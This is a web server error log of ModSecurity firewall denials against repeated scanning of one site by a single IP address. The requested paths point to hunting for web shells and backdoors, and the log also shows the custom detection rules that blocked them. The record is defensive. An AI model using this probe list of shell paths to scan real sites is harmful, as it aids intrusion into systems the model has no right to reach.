[Sat Jan 03 03:37:45.678666 2026] [:error] [pid 2083:tid 2099] [client 4.194.208.111:18173] [client 4.194.208.111] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-admin/maint/about.php"] [unique_id "aVgeiTVlR_BmlMPnhV6fLQAAAM4"]
[Sat Jan 03 03:37:46.006742 2026] [:error] [pid 1930:tid 1985] [client 4.194.208.111:18171] [client 4.194.208.111] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-admin/maint/about.php"] [unique_id "aVgeipP-6mqhfUDa89y8fgAAAFM"]
[Sat Jan 03 03:37:46.309683 2026] [:error] [pid 1930:tid 1981] [client 4.194.208.111:18157] [client 4.194.208.111] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-admin/maint/about.php"] [unique_id "aVgeipP-6mqhfUDa89y8gAAAAE8"]
[Sat Jan 03 03:37:46.629329 2026] [:error] [pid 1930:tid 1984] [client 4.194.208.111:10180] [client 4.194.208.111] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-admin/maint/about.php"] [unique_id "aVgeipP-6mqhfUDa89y8ggAAAFI"]
[Sat Jan 03 03:37:46.935696 2026] [:error] [pid 1929:tid 1955] [client 4.194.208.111:18082] [client 4.194.208.111] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-admin/network/wp-conflg.php"] [unique_id "aVgeiucFqdpu6TNsuWqzuQAAABE"]
[Sat Jan 03 03:37:47.341335 2026] [:error] [pid 1930:tid 1989] [client 4.194.208.111:10229] [client 4.194.208.111] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-admin/network/wp-conflg.php"] [unique_id "aVgei5P-6mqhfUDa89y8hAAAAFc"]
[Sat Jan 03 03:37:47.574105 2026] [:error] [pid 1930:tid 1967] [client 4.194.208.111:18095] [client 4.194.208.111] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-admin/network/wp-conflg.php"] [unique_id "aVgei5P-6mqhfUDa89y8hQAAAEE"]
[Sat Jan 03 03:37:47.818844 2026] [:error] [pid 1930:tid 1974] [client 4.194.208.111:10232] [client 4.194.208.111] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-admin/network/wp-conflg.php"] [unique_id "aVgei5P-6mqhfUDa89y8hgAAAEg"]
[Sat Jan 03 03:37:48.103605 2026] [:error] [pid 1930:tid 1983] [client 4.194.208.111:18135] [client 4.194.208.111] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/click.php"] [unique_id "aVgejJP-6mqhfUDa89y8iAAAAFE"]
[Sat Jan 03 03:37:48.386322 2026] [:error] [pid 1930:tid 1990] [client 4.194.208.111:18111] [client 4.194.208.111] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/click.php"] [unique_id "aVgejJP-6mqhfUDa89y8iQAAAFg"]
[Sat Jan 03 03:37:48.650634 2026] [:error] [pid 1931:tid 2029] [client 4.194.208.111:18148] [client 4.194.208.111] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/click.php"] [unique_id "aVgejB8Tyw7ZoIdXlcbdCAAAAIU"]
[Sat Jan 03 03:37:48.894076 2026] [:error] [pid 1929:tid 1943] [client 4.194.208.111:18162] [client 4.194.208.111] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/click.php"] [unique_id "aVgejOcFqdpu6TNsuWqzvAAAAAU"]
[Sat Jan 03 03:37:49.263470 2026] [:error] [pid 2083:tid 2100] [client 4.194.208.111:18129] [client 4.194.208.111] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/install.php"] [unique_id "aVgejTVlR_BmlMPnhV6fMgAAAM8"]
[Sat Jan 03 03:37:49.483543 2026] [:error] [pid 1931:tid 1993] [client 4.194.208.111:10206] [client 4.194.208.111] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/install.php"] [unique_id "aVgejR8Tyw7ZoIdXlcbdCgAAAIA"]
[Sat Jan 03 03:37:49.931973 2026] [:error] [pid 1931:tid 2048] [client 4.194.208.111:18108] [client 4.194.208.111] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/install.php"] [unique_id "aVgejR8Tyw7ZoIdXlcbdDAAAAJg"]
[Sat Jan 03 03:37:50.448085 2026] [:error] [pid 1930:tid 1968] [client 4.194.208.111:18120] [client 4.194.208.111] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/install.php"] [unique_id "aVgejpP-6mqhfUDa89y8jgAAAEI"]
[Sat Jan 03 03:37:50.762647 2026] [:error] [pid 2083:tid 2109] [client 4.194.208.111:18167] [client 4.194.208.111] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/lv.php"] [unique_id "aVgejjVlR_BmlMPnhV6fNQAAANg"]
[Sat Jan 03 03:37:51.058066 2026] [:error] [pid 1931:tid 2039] [client 4.194.208.111:18100] [client 4.194.208.111] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/lv.php"] [unique_id "aVgejx8Tyw7ZoIdXlcbdDgAAAI8"]
[Sat Jan 03 03:37:51.478282 2026] [:error] [pid 1931:tid 2031] [client 4.194.208.111:10188] [client 4.194.208.111] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/lv.php"] [unique_id "aVgejx8Tyw7ZoIdXlcbdEQAAAIc"]
[Sat Jan 03 03:37:51.812650 2026] [:error] [pid 1929:tid 1940] [client 4.194.208.111:10208] [client 4.194.208.111] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/lv.php"] [unique_id "aVgej-cFqdpu6TNsuWqzwAAAAAI"]
[Sat Jan 03 03:37:52.011951 2026] [:error] [pid 1929:tid 1947] [client 4.194.208.111:10195] [client 4.194.208.111] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/simple.php"] [unique_id "aVgekOcFqdpu6TNsuWqzwQAAAAk"]
[Sat Jan 03 03:37:52.503095 2026] [:error] [pid 1929:tid 1959] [client 4.194.208.111:18142] [client 4.194.208.111] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/simple.php"] [unique_id "aVgekOcFqdpu6TNsuWqzwgAAABU"]
[Sat Jan 03 03:37:53.049971 2026] [:error] [pid 1929:tid 1962] [client 4.194.208.111:18152] [client 4.194.208.111] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/simple.php"] [unique_id "aVgekecFqdpu6TNsuWqzxAAAABg"]
[Sat Jan 03 03:37:53.380564 2026] [:error] [pid 1929:tid 1948] [client 4.194.208.111:18058] [client 4.194.208.111] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/simple.php"] [unique_id "aVgekecFqdpu6TNsuWqzxgAAAAo"]
[Sat Jan 03 03:37:53.718455 2026] [:error] [pid 1929:tid 1951] [client 4.194.208.111:18048] [client 4.194.208.111] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/css.php"] [unique_id "aVgekecFqdpu6TNsuWqzxwAAAA0"]
[Sat Jan 03 03:37:54.190580 2026] [:error] [pid 2083:tid 2102] [client 4.194.208.111:18175] [client 4.194.208.111] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/css.php"] [unique_id "aVgekjVlR_BmlMPnhV6fOwAAANE"]
[Sat Jan 03 03:37:54.516299 2026] [:error] [pid 1930:tid 1980] [client 4.194.208.111:10234] [client 4.194.208.111] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/css.php"] [unique_id "aVgekpP-6mqhfUDa89y8mAAAAE4"]
[Sat Jan 03 03:37:54.869786 2026] [:error] [pid 1929:tid 1960] [client 4.194.208.111:18084] [client 4.194.208.111] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/css.php"] [unique_id "aVgekucFqdpu6TNsuWqzyQAAABY"]
[Sat Jan 03 03:37:55.289892 2026] [:error] [pid 2083:tid 2099] [client 4.194.208.111:18071] [client 4.194.208.111] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/cong.php"] [unique_id "aVgekzVlR_BmlMPnhV6fQAAAAM4"]
[Sat Jan 03 03:37:55.671755 2026] [:error] [pid 1929:tid 1950] [client 4.194.208.111:10117] [client 4.194.208.111] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/cong.php"] [unique_id "aVgek-cFqdpu6TNsuWqzywAAAAw"]
[Sat Jan 03 03:37:55.959854 2026] [:error] [pid 2083:tid 2091] [client 4.194.208.111:18172] [client 4.194.208.111] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/cong.php"] [unique_id "aVgekzVlR_BmlMPnhV6fQgAAAMY"]
[Sat Jan 03 03:37:56.317520 2026] [:error] [pid 2083:tid 2104] [client 4.194.208.111:10217] [client 4.194.208.111] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/cong.php"] [unique_id "aVgelDVlR_BmlMPnhV6fRAAAANM"]
[Sat Jan 03 03:37:56.753296 2026] [:error] [pid 2083:tid 2096] [client 4.194.208.111:10114] [client 4.194.208.111] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/images/wp-login.php"] [unique_id "aVgelDVlR_BmlMPnhV6fRgAAAMs"]
[Sat Jan 03 03:37:57.132010 2026] [:error] [pid 1931:tid 1999] [client 4.194.208.111:18092] [client 4.194.208.111] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/cong.php"] [unique_id "aVgelR8Tyw7ZoIdXlcbdFQAAAIM"]
[Sat Jan 03 03:37:57.561050 2026] [:error] [pid 1930:tid 1966] [client 4.194.208.111:18134] [client 4.194.208.111] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/cong.php"] [unique_id "aVgelZP-6mqhfUDa89y8mQAAAEA"]
[Sat Jan 03 03:37:57.907647 2026] [:error] [pid 2083:tid 2086] [client 4.194.208.111:18169] [client 4.194.208.111] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/cong.php"] [unique_id "aVgelTVlR_BmlMPnhV6fSwAAAME"]
[Sat Jan 03 03:37:58.247021 2026] [:error] [pid 2083:tid 2095] [client 4.194.208.111:18126] [client 4.194.208.111] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/w.php"] [unique_id "aVgeljVlR_BmlMPnhV6fTQAAAMo"]
[Sat Jan 03 03:37:58.617358 2026] [:error] [pid 1930:tid 1973] [client 4.194.208.111:10190] [client 4.194.208.111] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/w.php"] [unique_id "aVgelpP-6mqhfUDa89y8mwAAAEc"]
[Sat Jan 03 03:37:59.086779 2026] [:error] [pid 2083:tid 2101] [client 4.194.208.111:18069] [client 4.194.208.111] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/w.php"] [unique_id "aVgelzVlR_BmlMPnhV6fUQAAANA"]
[Sat Jan 03 03:37:59.388652 2026] [:error] [pid 1930:tid 1968] [client 4.194.208.111:18079] [client 4.194.208.111] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/w.php"] [unique_id "aVgel5P-6mqhfUDa89y8nAAAAEI"]
[Sat Jan 03 03:37:59.966800 2026] [:error] [pid 2083:tid 2094] [client 4.194.208.111:18075] [client 4.194.208.111] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/404.php"] [unique_id "aVgelzVlR_BmlMPnhV6fVAAAAMk"]
[Sat Jan 03 03:38:00.313500 2026] [:error] [pid 2083:tid 2104] [client 4.194.208.111:10202] [client 4.194.208.111] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/404.php"] [unique_id "aVgemDVlR_BmlMPnhV6fVgAAANM"]
[Sat Jan 03 03:38:00.588785 2026] [:error] [pid 2083:tid 2088] [client 4.194.208.111:10198] [client 4.194.208.111] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/404.php"] [unique_id "aVgemDVlR_BmlMPnhV6fVwAAAMM"]
[Sat Jan 03 03:38:01.043980 2026] [:error] [pid 2083:tid 2100] [client 4.194.208.111:18066] [client 4.194.208.111] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/404.php"] [unique_id "aVgemTVlR_BmlMPnhV6fWQAAAM8"]
[Sat Jan 03 03:38:01.357209 2026] [:error] [pid 1930:tid 1985] [client 4.194.208.111:10207] [client 4.194.208.111] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ioxi-o.php"] [unique_id "aVgemZP-6mqhfUDa89y8nwAAAFM"]
[Sat Jan 03 03:38:01.635935 2026] [:error] [pid 1930:tid 1969] [client 4.194.208.111:18127] [client 4.194.208.111] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ioxi-o.php"] [unique_id "aVgemZP-6mqhfUDa89y8oAAAAEM"]
[Sat Jan 03 03:38:01.862224 2026] [:error] [pid 1930:tid 1984] [client 4.194.208.111:10191] [client 4.194.208.111] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ioxi-o.php"] [unique_id "aVgemZP-6mqhfUDa89y8owAAAFI"]
[Sat Jan 03 03:38:02.138470 2026] [:error] [pid 1930:tid 1986] [client 4.194.208.111:18064] [client 4.194.208.111] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ioxi-o.php"] [unique_id "aVgempP-6mqhfUDa89y8pAAAAFQ"]
[Sat Jan 03 03:38:02.393495 2026] [:error] [pid 2083:tid 2107] [client 4.194.208.111:10189] [client 4.194.208.111] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/0x.php"] [unique_id "aVgemjVlR_BmlMPnhV6fWwAAANY"]
[Sat Jan 03 03:38:02.674849 2026] [:error] [pid 2083:tid 2087] [client 4.194.208.111:18106] [client 4.194.208.111] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/0x.php"] [unique_id "aVgemjVlR_BmlMPnhV6fXAAAAMI"]
[Sat Jan 03 03:38:03.033453 2026] [:error] [pid 2083:tid 2086] [client 4.194.208.111:18052] [client 4.194.208.111] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/0x.php"] [unique_id "aVgemzVlR_BmlMPnhV6fXgAAAME"]
[Sat Jan 03 03:38:03.303625 2026] [:error] [pid 2083:tid 2095] [client 4.194.208.111:10134] [client 4.194.208.111] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/0x.php"] [unique_id "aVgemzVlR_BmlMPnhV6fXwAAAMo"]
[Sat Jan 03 03:38:03.666161 2026] [:error] [pid 2083:tid 2106] [client 4.194.208.111:10151] [client 4.194.208.111] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/css.php"] [unique_id "aVgemzVlR_BmlMPnhV6fYQAAANU"]
[Sat Jan 03 03:38:03.979511 2026] [:error] [pid 1929:tid 1938] [client 4.194.208.111:10218] [client 4.194.208.111] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/css.php"] [unique_id "aVgem-cFqdpu6TNsuWqzzgAAAAA"]
[Sat Jan 03 03:38:04.375790 2026] [:error] [pid 2083:tid 2085] [client 4.194.208.111:18051] [client 4.194.208.111] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/css.php"] [unique_id "aVgenDVlR_BmlMPnhV6fZgAAAMA"]
[Sat Jan 03 03:38:04.950700 2026] [:error] [pid 2083:tid 2093] [client 4.194.208.111:10128] [client 4.194.208.111] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/css.php"] [unique_id "aVgenDVlR_BmlMPnhV6fZwAAAMg"]
